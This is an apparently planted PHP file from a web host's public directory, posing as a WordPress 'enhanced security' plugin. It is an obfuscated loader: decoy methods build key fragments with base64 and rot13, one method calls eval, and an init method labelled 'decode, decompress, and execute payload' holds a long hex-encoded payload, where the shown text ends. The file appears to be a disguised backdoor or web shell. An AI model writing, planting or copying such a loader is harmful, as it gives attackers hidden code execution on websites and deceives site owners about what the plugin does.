File: /home/wbwebdes/domains/domain.wb-webdesign.com/public_html/xx.php
<?php
/* WordPress-Compatible Obfuscated Loader - ID:9411589 */
/*
Plugin Name: SecurePluginWdNiKJTZ17
Description: Enhanced security module
Version: 5.1.4
*/
class LoadertjfqYK93647 {
private function kmmPFCEN13() {
// Key segment 2
$jv1 = 1809;
// cmtBaRa18
return base64_decode('azF3Mm5n');
}
private function gtrukLTx94() {
// Gate piece 1
$jv3 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return str_rot13('q5fyu');
}
private function gtzjYlRd46() {
// Gate piece 2
$__d = base64_decode('ZGF0YUdVZ2VhcTY0');
return str_rot13('n0s7z');
}
private function kmjKJQFR90() {
// Key segment 3
$jv3 = defined('__DIR__') ? __DIR__ : dirname(__FILE__);
return base64_decode('OVE1a3Ba');
}
public function pubZBdPa53() {
// Public method 1
@eval('return true;'); // Potongan eval yang tidak berbahaya
// cmtUglc35
return 'valVzuw85';
}
public static function init333() {
// Decode, decompress, and execute payload
$hex_data = 'H1CvPZotU1d5c793cd38fffef162a954a07f6d141518d28a16d956a1db4fa94943e6da142922461b3ad4b92b24ae5489614455a72856d6fb7ca7ddf9bfb1a7b6f76efbdf7f6dbf7e72f3cf6defbfd7abd9eafe7f1f69e2ab8d76363ad68df32421378f9fe43dec3a8f68bfb0f10f5ebd7ede959bc77afbecf7a9692da996efbf3ba0add489272eea5395ce87ef9bfafd06f0f67c9ab47321065dbb29f5ebbbb6356c83b941c27f1b328a76f40d631fb0f6de764389f8e46846cb038bcc620b303a97341befe08afd14eca1284e6d15d11d2ab6c979b0f678932b920584edfbb342d20277cfbd30bbbb6b5c2b777757d162a4ebcae199ff0675b11b2fe59cf5fd65d6f67d572a2684df3b59f0cc0fc98c98e9e33ac251fa96772f6eecbae7e28eeb9b166f256cae198724d4e2f11d390065dbb8bc174b005d8debddd67b3e812039b55ef36162d08da7322e274f2f0b52473a8ff6622875f5ed16f83b397cc5e1381de8ef89a4e5fe8f6177eed1df3b79d55753153e697deabee4c283602b5b9fe79cb64693724bbbfc1479fb1c8a2e5334625550315861642907923ad7fb23f0b076609c6be2fa5a69896ff6c98f56611bb8d34a2d9b1ab2d1479f30ff5f28ad3a6298f81314cf9ae0d44cd9a8a7a3bf20eccdbaaabf86555bb9e7ec71c4e59559bd5b5c02b3ef2e36f54a0c8c9b11ef1d04bfe6a4fbbb3c71e0dceaee49acd5e05de9aac7b2e4676eb0789ec1b185a353ea6fe8a222f98f94e313e94f1cf970cdc43a5fbda00533a3eedbd4c1904ece465f8044152950885a491a8f9f4feeaab2b3f75de5dc3686f2cbe83e15dd07c23cb72f7bce3fb98b098d0055233fcad05a49cdbd2d6b812d75b4121b814d3f3919ab6b95559db55976c8ade6a8efcd9b7e6cf4cebc76d2dd6df54036b4f8642259749cab03fcc565a8d6e95bfe827957a3ee292f9e0873fe59e70e00fdad0a8ab6374a739be53e87d3ba91af7b0f6e78dd046855aceb3897d35deeaf52632373b1afe2b2a8f72ecc6acbac47c35d15795a562c4c45bb08bc3c89ffbb9bfc2e3a9c353f9d086aa1fd086d678bbc4f6da321df89baa4618f4fe132f82bbec5ce7ec01f8b939be3bbfeb7373c8906bb9e4633fe1d574f2eb2ab52ccff8095446dac2791a6a736367abb7e2978013ff5945355e75acc891daeea7c94d8aefef549fabe2853945e71edee51723faf42de5e3354d1037fd74cfa1a0624b0eabf5037461f21374417410defef253855ae6884173ebd46d292a56f9b19e0283c3d63b4a3e681a4b6211afe0901638b679c46ef9e42955ae943f94b1917cf2e9d742e39d5ba521466fcb37647ffc146bd1d9db7b396115ef0abb81ddb237f6bbe631742d651ae4c77b219e0ef26dd6ef19777bf5a9965ee86d25adafd33f39c8328a18e9be8cbc56232364b55f9e5c8ad59c3897afba44b1608c7fda7ab3242cff8011e392d9f0eae723dcb5a1d46117bbc33b6377811557e3656e96573888124d0d7f74e9c9d4bd773434fb5deef6d4624d4dc6aedebe409cbe42f36be6b6c4ed37d320e3d2f723bb402b6e7cd1d47b7e9c2b3cd0f8516cd53d76f090a7933e5dfaaecda8a2ca725fb5fa43c4853dad82497ffb13afa6825bd8f482c98d5d9458847bc5d00e1289417f9553a8560a32d3e58335fd886259cb74401e217a0c98b6dbbea7dbe63c50c038767ee9d0b08db4a588ce7e7eeef3de9db3b7d712ebb1798ecf2272d6ab7e3f3d54271b862cd1637fea0770b78aebdd9837179d381d5b12e65ab2fe17355ef179b8fdd02efcd5edc11f678646c32df1d175d17931eebbe2845314191afff36418de08a9d9f14aa8dc31acad09c1b92b7c7a8549f91b161073b0fa042be082c5b9e667436f8c5f05bc75b9ca34bdca7c70e5d77923372364606755ad33937f9699b2151feab48ee166c470ddf037ac6a175e51ef0b9c3c84609cafb6daf174273efb85f0f8cd2bccf29d78687f75d6efabcc864bccf20f319db75babacc84e7fc3b658e2739eb9f78fc747771e636313096e39afc0a0eddcb453c2eb5729fd7f541e5fc2f27f9e5c7285b9d3127fff59e7f798ce21a359dec9eaac7f857faf320fae636c1bca7f21fcebc69cb78e71aadaea5f45fbdfb0c85d78dc6f46511dc37d35a35338ac3cfb47d57357a8e77ebf8e5110d3d90e8a4ed4f813a4dade7c9ef57ff545b5fe14f31c6115f23d2170177e78271e71d5888171c4cf5fc738dfc110e76611529fb90f6785f5ff5639fe0d5bb80b4f69adb12a7217fecb35bbe09e66203105ae308faf6368ae5cdae146f9039eca7b0bda9c527ce60cbb50a22a3322688597986b4ad4a8a4b0aa4b4c3de0a53049dbdcb394d1920b960dbb806564e6b90a3df07495ff4eedc5589d51bc110b7729dc6ac31496c05966c32e7ceb4ebc97c9b308e45be171d32bcc02ab758c97758cfc679d1eac9a617b30e8c3b0a403c0ae661445d0cc01d3e2b0992b94cfa3f7a6e21b18ac089acf1b0263177013525e9d3dc1ae111fa83ad1ce385aeddf5b7562b325fe9811e37d6cbc7638da77fddfb9d2770114edf00bd1a3eecf5599a3a467c561ab1df19111b4c4bf8c67ff3bfe58f194c87fedd73093ad8097c2f42a658bbdcf3ac659764dfe5fc6f1ea5a77c516803618f5ccfdcb54e7f308da4f4ebc2701a80cb210f15648d0d3436f52dc28c792836de31421e714a3b5614b21993cf3c7b1ad39c78acf766de6f1e0a10b2cac1b28347d78ae837401f87bb6da7fc3ef303732f38145e5894ec6fe0ea499a8f68cf0e9367c389d706c2f387c750a3e3fe6be7df8338fbc49e4ff71e8f314fc854a033ab40dca7dd679702c9e42cbe4f0c0b44c99cf3a24a1bad650bb04043034badc61532201b8ca8c880ebe790ad07b435859fb791523c0261e0cfacea63d89ff8b94929307507f956e7f55b3966f08d11134ec88fb461e39124c7bd679ac9d71888cd0e7415fb8de593cf77882093e5e38ebc63c0b178b259c36e46ac6270601bf79d82dea3723eb59a7cb68e75f22cdd6ec0b0535046d0dbaa3a4ff65fcc7ae593a187db01d324824ec9e72df223a5175a2030993ffbb7116d602daf27fad5ded083c35c585f53a13004ee317c2c1b1ceb867ee5f8776bf11ceb6c982b60c6bf1c1fa1d96fdd314f7254ca178f72c3e53667b01949056edc23b0237af50f2b5f847a95bc0d354442eee02c05fcc789b49699605ed04689c7f5e098913a213c3d1e20744ea2bc5676167c6b34eb76aff3441a7d1a0aec414f586e054a9054a6e1de3f3b3f853615e3b799db999b20304803f81fafed812c06bc1bb0befa9216fdfb59a91f64df69548a3efc2df852d574a4c37316b0e2018a44b40121a9fcec952ee76074f0fb627d631ce8f7526b16929b4b063cc2497ab94ab96401b499536c52a27ac64ec445f619e5b8514990213d0af43816e8ec25772ff7189dc7f75074c5a7295f96a73ded055cef01ab9ffcd76c69b5372de3ac59bdf61fd59aae249616603f239104b6601f18a37ec4b57981da584953897876ae8fce389283bfc1bc568646996ed3a46d15f24b3e6040158826f97e0a51f2b42d731de1369678196af53feb60a53fb95d4ab53d0dadfb2bdf18a5199bcb60d7a9f29d3a3ea9667f53ee3789b033447403b18c415e6edd5c8688bc7d14f8d049d870675df105ce98466cbf830afed3cf2d6e1fcd4303fa6debed35961ffab4f663325ccfc2a5b82fb0d7a7f11c48fcdf558c730103bff645cfaef2cfcafb0f80c39bbd29073a05a9f8b055bff220d9112f292b32c2daf48d8e724a6dc1a6dd3f5b8745d6e7c141a5895727494641716b25075587155f08848fb86582f0b731b8446aeed1459cd884e7442930b844450c89a8c6a2835d4e3921eb9b7763c8d9f8c3a05ee4ef9c513f13228b48f8d8ce3c36eed98735a68085b24f8276ad47566f15262044370fd1bcfbd6b982421b7c12faab38a39eebbb48c704e0ff7ec9e7be0567c9c2997146425aac53257b191a7802b006a29298231dc1e9649d94639785b0fff4970c85938ab541dffd83119f597cdc118b1eb186683a44ba0bf164adac222728499538898fd555993dcb472c3746e87c42a4ee27f524e09f940f1fd381bc349fb2ad363e84d1586301f5566dd2fcf0aa7010771835082a0d2503095c32098e33339b8fbc0595606e52815b114933a7be277d87b37a680ac3280877770bc9b6a4e489cdf8c8d8ec882449b87df2026a0dfcad4ca218b7f835e0aaf3705ea2bd15344c220aaba2d90a1bd788096c94d9908fb43f19de8860b862c96b003a3e95b6f8e9098ff00f740721b74028114915dee8386e559882fda4b636fc257a4d0c35697ca0c2cf1ec6fb2d38db8c5f5b836324b4bc227c342b286dceed14f49289622ff8794ad9fc2462df167120989ff5b0d60159bba1fe81773b10fdd9d95e8bfead32287f5b839d4af94894bb38445dc9a89a88655485c93acd999b202e32960951b324e02f0c7a1c312bc88901208d4d84d0ce707f3e03334f7b84f6f85c42a99b065b87d79d8419183ae9090c9d1594fdd1681c894ad3da39990c0694659b2df6c9a1ef52a4c126f8cb4588579299f45e1a31b3d559d955f09b328febf035ae09a6a779d1cb1b3d90025092b1fe9fc6f50d70d3c536ee8889f07a7fd656c93f46ec76320d92f7464182d9c009c3414f7062b4c4fb44139758c53648477b4451be919a4da259c3d05ea7c9105a2345705f15308b009631981c132b52cf5382c3aa5f118755bca3eed4aa552c85255e61f062345731c3143790260abc7b73293f64af012da731139620a0a909a2ec5677fa16447941b1a6472cf85791d52fd4fe45e7e2368a9a7a5708d6a019bb69efb10b999d2ceacf9418bb7df5ac6c804d386dcb9a7c113621a8500a659548d7f09bb34a125e7e1008de92698fc0d0a0b4213a354c7896ceb0e85562216c1a7fa87751fbbd7cb9a2d2843a93559cf906755f1d5324bbccc1188ada46673be7053f646e431863e0b2a57a832ff41fbf40c935051c79028b557989bd0219dd22e47e34ba95f5596655493c5b8ed1091a198982d1a0f5ea2be5ecaedac645ca73c988a276ad5584b876e14d7326c4d1b46fb3bc1a3329995168394a355fe2e12f4674a896ea9d17175adb7f05ff0f407ee32ed7c84caabe34635b24ceeb27b60bb2c683edaa31dd9dc897c6871bd8dd48d61234e83860282ce907e6405d64a9d259f866a3a7800ad18d112911a1b3fa168ffcc4760c3685350d74a207338ff051834247058c245de0396330803c1ab52f67ee072bc39a953a8e1600139e208657583cc26353c8a1f2520b785b9b5337c24e47d4dcc4d1342d6585ad476bcb7b837d00e5c3e8170a3e4101b9558075cccfa11f72361e5ce2c443349bc0259cda5919899f28981f46985db19b09df49f4412d3d87a87797cc4486858cced501dea02b0385156700ca11d4e1b04bf72cfa9b46df06cc45aa9de3c3213128a390425e8fd49a4dddc1582ce644166b56cd300a99cf098fe817251e21c7c09347a04ec3a10e6269239089b194f3aa376e35a85c77d26a26e4e42095961c7285ee30f91df946a1b6d014259606996515debed77847a2d6959099a578fc68fa521db028d2c81456ba88c713fc4c536c65c39d468cacda27cf10af39a6c438e435fa000d874535d2bfe2b753353b96a1e2eec354189ba4e592dc1d764a5527c63c27b9c94669160161aa8238985a6e3032039c920928cb93205af52ac7e80dc1c412d991acf7f4c7f526ab4ec3de589fca0c4743761edc9158cd318c65591dd6e06b943b13b8d7274d82dc92031bc6699841733057fa2872684f7ac515d3f209cc7b68ff03c199147936d2dc54548b95814d585ab0c9b54483d463b23c74c8a29bb270ab95f28ae4a99af3200a0d216e1b6d63fc4c2055388a56cc47d8d9ef13ee131d18c85206b5c8de2dfa16c8b002a48df04a6ef52683be9d6382b5ffcc5b95cf09e453a8a6daf9524ca7dcd750b14707dcc04df88b5659faa8f5a4248984fddfdc87db7fa95a2dde528a64c6e5c6f44440199725f5bae3a32ecab5a184ab3b023f80a3aefcbdbc311c8875a7978952cb83e078d15366b4f7332f287780eefcccc806ed5f80405caa6677ca5bcab77b2d32c8c081ca33d72afd01d6a97c2cb87dd576b096e8130cb1c9f80214a4976f08b67eeca0c10e1caa448241c41d64d0aea41637453601cc5cb681e634d07f3ed3009365d9d1236090564db37736b46d2e919eb50a51683d0e2b08f33c3ab27c39e6f577304915b26833fbe1da30d8065464944c47d5a35b3225b566ae811582e279930ee0d55093a4d94a9a583c03da040bbc04ac5a61a820b2675cce4e3785a3d2982af38680b9e026d5893c39fc7f31332d6a9f2a7145a465c4a7796f0506eaaca14a5593d97f685437ad2691c16d2d688c8dfe93adeb9501420769e287c4e991776b0316a31374bb1bc16d96f806a669e1b8c4e10461623f47c394106ece5aa476af49a732c7bb840877250186909ec09246b7cc7fc2cf14f91ab06f4751949e0a6e1341b84875819bdb9f8b752422000aac2759372bd91f8940c136578528a812e7dccd9618a3564b16f2238bdcd6052795834b3bfb170bcd470020192d4b50390d10063c598492099d5f93f4ecb4ed3596b98725915df39acfb107894dd68a36877541c8e484dec1c1393550f55ca39ec465dc6ceffb178e6074de613c2d252dc3e991269cb455f46df998b59d124b3a9242d21a9aeca8d053287498be5c8e7a0f35bc20e656a82121b096af957dd5c57e846417da4f47ba15f8b45a9130f14a7a6265caf9d848bf7131256e0b389ec533c8bba88277264b6a64572a22962b1e2ea50c807e5a88468fe1c5845f766d35223dd97d287ad221062b9be1299a673be173e55cfa68195b81f613bcab081cab0752cdd0a433dc671f62d1142109f4928c1d3be4a0c9be7cfea0b5f29ae8ee5db08ae7b091dcc81f56d8cf046eebb30d7e6c02ce5e894c507649b3c2b35dce380ea518ac124b869d255cb64c8a6403015b9595d1ba3252f2820ad3155f56f58791bb48ae8100972ef83f349eac5aacf3c77e204946a22cc4ae700fb690e519c4a0be6715567baab316acc18d65a988f1af47ab8f29e3275b772e698c6f4b9e9874794fc6a52ddd1c02199c82e9b562d7b3939d7323b7ec31978b609a33e02a016b033285b37eef394fb3e768f6e1c54557e67c81e23afa80e357792d275ac555317318896b08f619f95ab1d44337e8c461b152a8b706682ccdd0a440ce80a9a89eabd3a40d272bc1b787a38fa00c35e289605b55211ab355795a9cf51dc7344c3c7e073cac12ade83709d599eae8a3501692d078f4dd9b6af6cac3772cc622d6229e5c124f92216414e571d049652ca27d2162acd5ade4d1f1764190a22b7891dcaf9852c640cf28afc8428ab9812d91608edc178b2693e62da80bbbd1c7d325acbe4cbc55937d0874458ad3f6ac634948d57be4527f112bbf605f4d5d4d6451d19b03805dcd11c25ba5c024ab9deec6c1eaba3d60fb5ff90c8e33d016273acd49cbad6ae085f67d1cc660b58cb05e95c4e7784d864500bd2947be06146bcad92f15410ff5db6c93fe59a98bd42ced09fb4683298cb7d4739da0517348fff83c7239015386bd83d4679183cddd8aa97d469c9bcae9c39a11d7e78d490454aaaced62fd43649d6a424eb31e16a8438239b764d59be5611b200b11466e9a8b3ccf6a54a9a970e423ba4ab574efcb9cabc3e17b69c045de1ebd65497e970ace5626eae62b86ec8a28ea2538f584a6d14376722bc60e94248af69fee6018b8626c603faef1b2c460b755d04262a65b2b5c3db7c22ea1aac7ad949cab6708f38795fdd4ca111394223f546748f4056cc5d6387831eaa1c5710b64ab29208ae2614b74e2d311d4620730d6c411e794513fbc1d378d927719699b0f9225d59531f2a4a4d16cbfe0bfc3815af83260a2eb1644d06f5c70c4e3157d06d0fc0c51bf1a5862e98975265bbe5e7303f3507738a02eba863ea1136e0622531904de30e926c716760efc8f099bec4ce7370c46f26f600710e4c4e7ea0b92d8d5a398044449c3c2af2a81eff46a4b40f20b3ed85bad4c8829463bcb415c84ba0ed01512aa689fad2b475423f305be515e1f95992b06d0abe3f343a1f674d590d4b7103a4488b1413a6e53d70dc8eda269a594e74a8aced8e3aad5dc9dea638862e6e42513096a6f5b2a89fb331325a12dd5748fea46e1618b22b70110ea254dc109888e72fa1bc113b7ce78c90698a17b7e4d05cb9db74c5b76472a4ae98fd942e488ddfb002913ddc3e8f5b93c7b0c6522e1d43d688d9f320bd979f75ac894527b80642f5691e188db413e5cd531ea4cff21672b12d58a35874cf00726e045d026fea8cd39fd0b761d45b3396a66a3e92235373e98f15058998ef26a8221d8aa46ddc883bae3f0d635b0db67caa51cd0822350700c7b4f0240e78743b0ccb24313c9b85420717308b4dd3068883921322c20ecef03b14b79ad9318024d23c685fb9c3a52d8cf55a826075e0da4c0595ab89e96fb26baea8e2e750a9a9b01978b9e60415710cd72076681e7242398cd1ae019bccf6e5ccc59c36643392e19a909b838c07f585ba541b76132e876b73df74a0afb130becb7d20e2ce61e1715ff517e9e1fa7d016da0417d08266fd3be975ee83b7c85712e46bc0172fe4208a35d27dca999e5757760fdf795c9db57698f52ba3db7b0f4e7788a232974c27f085681c4508522cad1cb8e6a1b48c86273fcb506873331dac54c9b84cc44a6e037b25536f2ac522bedfb62e8d6a2199f3668bda8a6aee3dda74f84dd8a2ddb55daa9ae961b0fb42f15b3bf21ca293b266d9ee3635935fa12e7018b3c4ea8b7ac379d72693ba5bc2e6ae3407b3abd733ddae233ec510090f90addeff6cd72f571a28381f2e01ec47112bb69ba62338a1a2866ff44cc4e993292e0652db6eb2821bc89e005b3fe9c61b7588bb5ec4063b2f8a5b470377dbefac4707447b3d1ca942e4fc40589f318ea6dd3f8e64f5aea349a04eb4967e53193a3091c2378d3bbd0e4f7caf6cbe855a72826cb19ebb958b1b399383278c8a28f7211a8b19538dfe0be971b8b4c83a7439ff9211ccc5455324f8f2cee1ed5142b17540f8a7ba9da531aca75d3ed53c382e043edd0fc1fe411409a7d52ca94225960a8eafa8fdb3c94fc60b6164657a64b2eaae74c20125354f321bf813494b8f73b667f574dcc70b481985658c9e5c9129a486d70d34786ec9a2688c30bfe773a26090e9800cec23dec1eb9ba04b6db83d3b76604580c041f25f872bc9d89f7964ece3d0b040cb5b7b0578b7496371965c2667bb8d788843ac4868b54c0133a579a358d6a780f6eea0df589b093b68ad9be272113b081295d27ca5b0f7dd4faf5cb61f9b7a4fd5832251a103bd87fd258a6226f1cc3a40e2f84174811e12c8298787bcca0548114444666353a9cc2d85591faeed1176f47154d2232e07df523ee87e5ec8f605a74672a1825969d066a7a5aa88914682e714e8fbb359c764b1950d7aad70275b834e6dd53f39e8b2383b48c1d31384f4299b3efe519cc9dfb949066f0e23ad4b58901c63ab1c38146eacc3c1d6e068bfea019b2249f941c27cec6a3f18ba8a8cbf81322ac1bf8dcf49fca881233d4589254b14aeb302b57287dcb65d5b83250c84aec9cc758d464bbe3072df985a6d2499ce0740211206fb7906f4bf663cf34473c1966344577be96be2c94a34da1b0751184fb1acba306f7c8e8194c2a94ea87409e0137b4e07c55ede50663e9748349cad11afffd2a4b2516856b055f4eda6ce871bf4c4c7f59c5b80e2f10678d41e73dd5e7c5228fef16dc2114fe89a605d23bcca02f96b0216623a3eb7de86b3b06eb8816b782a95c161030851a8d6f6124a97342a42f6b2a8dbe0f606c0e60f20aa5d92e9aad37987fa19915ca99be16ef5dc0b2e76037fb8d01356ea9d4bf8cb12821308a4cc921a32ba88a3c86607ac2fd02b0c398f957ea790adc341df380760de2df6093ab65cd208fd53ccebca0b21cd6cf21d44a9a8988a26945b2c5638b2eb6efe844daa65aea036ddca2443e0273907a98b5691ae26df9046962f40a8b6bb447d3fe939cf55635574c32fec0ad46bbf468251a5d77b893e1241fffb61d65cee552f6331b2a8d943a582ae824ca635052d6a01e209f9d02d8bfa90f2647b5ca7c03f03688203433d31e615a59b9815572dfe90a5fd5ee8dea5a61a30d646209dc1664617d108a8a4c199173ba05bdabc2b06495cabd753cbe4cc648c0b0bdb996201450359ea00c39419ce38e998bba57e80c5b5a23cad17531698dd1031ab7fb847a22e5e355516cf5a0c591d7040fc2dec7c09f770fdd03c8e293a2666f2cc2956868cb357da13112d92b0c94505c9acfcab7f407df094ceab732ee7cdc8dfbeef72d06e86992391ec0fa57ea1332da527124a323e2f78445a53d44fb5399d8b9a60b7bd318eecca7875a63167ed624e59047c219f426393a64dc04300162d7c3a7ae4e5a3ca3844451b606b169d88176e4903ef7837de2414da4e2d413d82354137453519b087adf682c7c9ee2779597a8372dd215d326a23af268ff2d2a35fc5463472cd29797f7cd3ef454cff18b94fd96477fe372f710b9f38591a6e2db6704323b2a9334a3f0ad1867ee3778212612622df4e4175c8f35be2ea5fb2d6219f78e3fa4e43fc2f35d206b2524573fa7c676184dc912e6513d0962237196d698313e59700f22ed43e58c8b02c2dc7aa78d13c013da98327ad3ac3f5fdc9b906103c4ae0cfbf8d8f4f261a221021eee6a81921452bd30af67702c6ef6846102e66433a6008ed89aeca5defb817c251b409228ed13c19c1da87b83faf15f089fe26d85965f288aa6f9da2e65126cd8b4c78dba5a144bfddd9b8cca3531331862d3fcfd8d79a930965f33dee0f4a4d1868b4df7d9489dc3d67495237768309284c626dbfa3f607394e93fce4ccb166e2d79ed19d03083934b6e1ed2f4819789b7d3695ad1351c339988da8b475d54c54be903c43883bad69bc6688ff310cd25f0a3ece5427974279bb22e0270a65c1a902da63c10cbaea5acf94071eb60764c04af9fb6bad7e849341cd3ac3e08e8913d9b78a309987bcdde3f15d2e7a3184fcef042f59c262c3621d0966a3e5b33a2aa5ca7244d04abf703ca03f072554b29f65d3876741af353b15c54f3094e9581f0e8ed21fd4d13c082994067bab772e61da8922fe66ea0162d52426f660ce6b07f04c17313b452a6f252c1a029d71630ab60cce3f25449ce9ac394fc45b805b1f8efa9ca2ae9eaebb5068fa1f9afc5a6a9b43d112797515643bf75670c12152f5884924ab61317fc02698181ccd669d25e1564d28473312137204b103dd6308b07fa8331ebd1c5f3346eadec120366710e7c9dbb8e4a9d4b486825255f26e4cd01f4d4e8fdcc835351e704f427cd06a9d4363965bfb27c89d04be2afee5735f71ba1bc099e63e25e67816ceee45cd381c08344c358776f2df52664445672dd059acc2683f609847b25c39c3be836165f2d963da5b1b1b0a36398571b1581e4abd3a48d7ebf11ad5559ebc47310a5048bbf8ca1b831bfedf8aec272e65d114b63a9b2a1af400a0c2f0a0c770bdc17a24a9f0a0e45ab925ad9be44ad7875099dd714a4e8aa32793a152a8bbb4db693948be3ee7eeda48720b582ae0b9d2be67057a408fe53452abc174510644ab738c26a89b34be0ac1ed3a395ed16fe03264b64417a111a3f4588cb7938a99b5bf34211e08ccc90f92772e2c5e6f33b020d31363e146b17a49134eccd8cd51cee3b387587b4f5fa00321ec800d31231e6273561ff50ebdc05cda96e800bb083a8ae9d18dde5a3697e8878b61fde4836931102de537cdb44864651746b55e70ae1f5df06639c0eec0618a54cc50cb847c194a4c9427fb1f30502b89af05b89651bd82ec42fbda1712b20bc73a6397c202f844d3760a90cf9c41c79ca8cd54801dd0942df2cc3fd08afc9aae7f2e0545b31e126e6f579152bbab3aea536119ec9949d68152d93d7ae03ecc63a5f9ea7f0ebb88f663258408f3ac1185777df3df0066a8ec8c2876898295b447dae2436c2162937e0f8a7f13c831fce944438afa3db2812f16c38e3b200ce30411a84b5170ae10793fa563e78529ef4e50e4c96fb0983e5d723688a3dadb826e6c3aa1885111f55d77a70aa300473484d388240cd537f24a33b032f3646455c24f80e1d26ba48c9ff317bd586c9f4cb948fe8c1681355cbcaa4505fa663a4da14f2d3f12198058fd1e641e73e59b88b02b4943b6051bd0c6f7251fb66c81ad5aa9db16a7da897a8ee2ad5e813cd6b70674504171ce51ed067224e38c914338763c573ba42ed45b19529a197d5bfe16f7a7223535f6aef7c36fd202d1af6406857f1f11dad3194241ca1db4e2948b9b48820d5aa936f53fe4c047b5dc4a4ca75e308463ef4c045703ccba002be9c2ea0b10fb30c16331eff66fc4d0a4da04c64b40682a5e36707d272082553c355b2d604fcc92e75a4393e6734a374b656be4d5e40f70df7860278e13df3e4b55292f816b274c202bf03f0b0a56ea6944f1b1c6e7a77994e538dd6517a1ad88c01a5ed3a569f91a2d606c39e4774e1161b5d1e33f1e903b554399c718fe27b1512ae43af8768e8a1901c69e1524d08389df13e803a0785b0f4c5d4b7c7610d9a6c3fdb51ef4c91ef93aff4a55d8668f779842f1287f9e2de26ea1629a94d2d4bd2387a71e6a22df8c357c57312d300d9a08fe43e38fc2e047c045da81f009d7ec8496700f429005dca3888339dc3d8f9823052582f4429cca2a8339ba81e14bd6b80f3799159053783acf93de6678e2f1722f3848f06f52f502e19b3fe7c058c2ecb198bb85839573f8a0037361bb19da900c88371138975cc8e6668cc8e5aa9853782ae0d7cd39b106558fd21f75a642f627f63d4f51af0f4657c8c22cd80e9f89164d1c4b84db6eb4ffbf503363b0796716d3191ebe4ed2bc4590981c04744f147aefaa72073d0629f7c3ce234cb47cdc68ec4a7f97841fc0d58dae48146bb903193d5aaeba7c144caeecd6a0a6fc2bdcce8365cf98293360678081c7415585b8c6c935c57de6e5aca4de3d852efad931f2cc67a0eadde08fcc66065ce4a4ad43db48e6ceb5dc1c36dc924c7560ade9f7ff1f90ae4ff0f65a2d0620fe18b225af27c545325734a86f41ed397bfd54cc52a965e32c65885228aaad9be33d315db3f349a51bcaac5e667e4db9a50ef9dc60ac9e6985098ece2cb29e3bfdf371fb73829d0e28ec10dd0497d3b87155805de7f7ecf9d5c4b686823090868a9a76980eaaa32403b4a59144797b1e87e5a3cf449712a52bd821857da414d54591aabb31ea075d40e0603fa1909062f11f40edc0fcad60270a16f0443e4bf84a53b459e9e001335a831135385d1e31bec1d0334c561390fd38bf1e0ce174d93829d26829fa1d72b19ba534672e425e07a5de12021c141e6b4407a78a1bcfd994a1ff103a857d90cfa8c3a137e8f39e7546145a4cb292272441e5831a1f0de7803e520d210a32843eff917c39b8c1acab881c61addb1c6439488ff700dfc85cc57089758ca9349f73fc87a79f4ab9468aefee5889303da7e509284009527aa958f337ba0de1bc0a6bb2a0bd3d2f14727e11e0751cd4289f35cd5a171416319d37918ca1d062c956a9b2b61215c9ebe82bc305b735b725b4b7b20c270966407e9e9f444098db5ee43ce9b16d34835887b2af95ee0af3cd9461c5989b5622163e28b300bd051c2c82de2ac119d8a61b7f3948f11ece7b0c719c017e890739d71ecbb62f31416ed86d43f151971cf748e2c491b30a664bf55ae097427b96efdb8359c794b695617d5504ab8831cb028e95cb5dfe047f050157fdd9e0ef4cf2170293b50199e1d4eab232ca3e47b202d92c9e816aead8644261c1826a5eb6815c1600c73ba8c1e2d8e747d42666f93fbcadb7701a99bea0b2f00f5da7c7792121946a3578edf28e576de61fc69d606d21a07be957c191bb39c0aca22528bb0390f4cffd10646be28bc40c312caaad8253c60bd53446c20376a5b2282a00b5b4e06ff52b337333d223ca08845b83a13cac74af59e990a5fc00341d19b86ce9f062e9521ee0dbac9a957cf027728ab0b083be898c7288ca71ceae220864433de0c9d5fd6686c17d12518b1885bb34d1ad5f0abe629c9117c62c4bf5ade88222fd08c361476b30f1e8c6830e4d7b737b01ce4b801d3ace6da22d9123fba81d22d8d26551203a5abf7bd23b4cbb67691d1e98d6680191ab15240b8aa3c389426d9571fa5e6d1b41684d29b9266214b561d0f22946969d99b60f7439c70c4c0ba50f5cd0563773fe5eb3f28851ed1fcb13b36217400dffa7046c75b90c943ca8ec37b5ac75d5620c5bd064dd0476a25dcb354148cc57c023372a07389691651806e2b16b1035d23bff0de842c5e06e5470fbb5b7d237dbbc6ae17376787049ee4e9172110e28485aa555e1369368c486a5e3763f5b294a3dfa0732a7c7a70e30b9efeb8a0e6518a6a9d244651b65cdd42b1c6ddd11e162c66bbcdf48d1bbe557398353ed306ed5d51172e2849d5543f66312c353ddf0a76b287d5054519ded0fc048a5324e2f641880636d5beff06e55f4b2978a839d4de896cc5dc3c8a79d9a32624033813cce973e0c249d701fa7caa219f9e26b2ca138fa473485d519ef02695e905805c493e3d6de09a4c025670bca3d53939e0c522d9bc3c4ea7346b37e5dc19397433397c7dbfd5b872e26f873707bea33a642568e69323b78de5a36762d07b890e0614eb796a99cde4e85a4d954a9fb0837acf44eaf98cbb5cdaba4f20dba14a1ca04df23372648bd5b5f3d599f7dd0da7371576a07ebc9811d9680ef6d9fea723651525f32ba66de59fcb3051937fc83ee8cdc9507e1db7305f2c7b8be7d7cfc67bcb9cce32ebd0049e3cae713b392f44b302d2b3adf3474d24fea61f93f5d651df4cba764540ad2df3d70235e134e0a9b19cbd0063034235ba25b43ac154d5ace16e35c141255fdff2ce1a5d53083bd6a90b7ef0df80099852add3fb5a41bd94add8041895f2d71513eb9687b5b77bff84229a70d3d324d7044c52784d4c051737005a19c34663343e79ed74e7947221d371713299fdc71efa18a1c9b98f39a3cb8ace35d8740b9734239ab166c01b2992159473e53d85bb54f03b160037f0d799df3158224a25df27120ed0733752763fa293f4e1cae79f75ac25ea259ae86990e43a06fd16589664cca7c6719f182950e861f6836ec44638be63be7c99e6f3b8f36a7ee8622c417e159aff038ab838e23e342d6aff25d357e307d008b1c3aff86838c09671a9178ab8c645e5c29713f0b142c31235f4ab827cfa12f00373859f516610ee2d2208687ba0731b204e7499617952e74fc83ad46262746793f74a4c2a78cc964aa8c6d5a5d2c372c573ae6956c83e156af9c87b7480a12b77ebb34296e21ec9d15ec0a61c70618242ca96e90c28492d8c5de4bc416d807f37228503e872643d3617f29ba660e7a10ca5fd160de4e679a29e150a339eb25d4cf97db0c6ff467d940ba6928f492963b45076082c7bddad234e2a9e038c666f2f82380d405e179bef56adbaae837b415f5dd2e8a30c98205b897ba3d37c8af74234397a1746660c393f9832e2070e53b2850f851fec3d657f7308566c16411fb3f62e4eb94cedf0807f55ada3696f13e67ac99c9635c01e72c6cdf7e4b58313e4c20235a72eea2848aae187ba9850cd2712fb648b61237e4c12e549bfbb6f0ea05d